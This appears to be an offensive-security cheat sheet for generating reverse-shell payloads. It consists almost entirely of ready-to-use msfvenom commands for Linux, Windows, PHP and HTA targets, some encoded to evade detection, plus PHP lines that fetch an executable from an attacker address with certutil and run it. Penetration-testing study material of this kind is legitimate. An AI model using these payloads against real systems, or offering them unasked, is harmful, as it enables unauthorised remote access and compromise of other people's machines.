🎯 Payloads & Reverse Shells

Stabilize the caught shell: Shell-stabilization. Deliver files: file-transfer.

msfvenom

# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > rev.elf
# Windows
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.178 LPORT=4444 -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell.exe
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php
# HTA  (then: mshta.exe http://IP/shell.hta)
msfvenom -p windows/shell_reverse_tcp lhost=IP lport=1234 -f hta-psh > shell.hta
# bad chars + encoder
msfvenom -p windows/shell_reverse_tcp -b "\x00\x3a\x26..." LHOST=IP LPORT=80 -e x86/alpha_mixed -f c

Flags: -p payload · -f filetype · -b bad chars · -e encoder.

Staged vs stageless

• .../shell/reverse_tcp → staged (loads in steps; good for space-limited / low-latency).
• .../shell_reverse_tcp → stageless (single blob; good for low-speed links).
• Meterpreter non-staged = less traffic / stealthier.

Windows PHP download + exec

<?php system('certutil.exe -urlcache -split -f "http://192.168.49.68/shell.exe" shell.exe'); ?>
<?php system('shell.exe'); ?>

Generators

revshells.com · PentestMonkey cheat sheet · MSFVenom cheatsheet.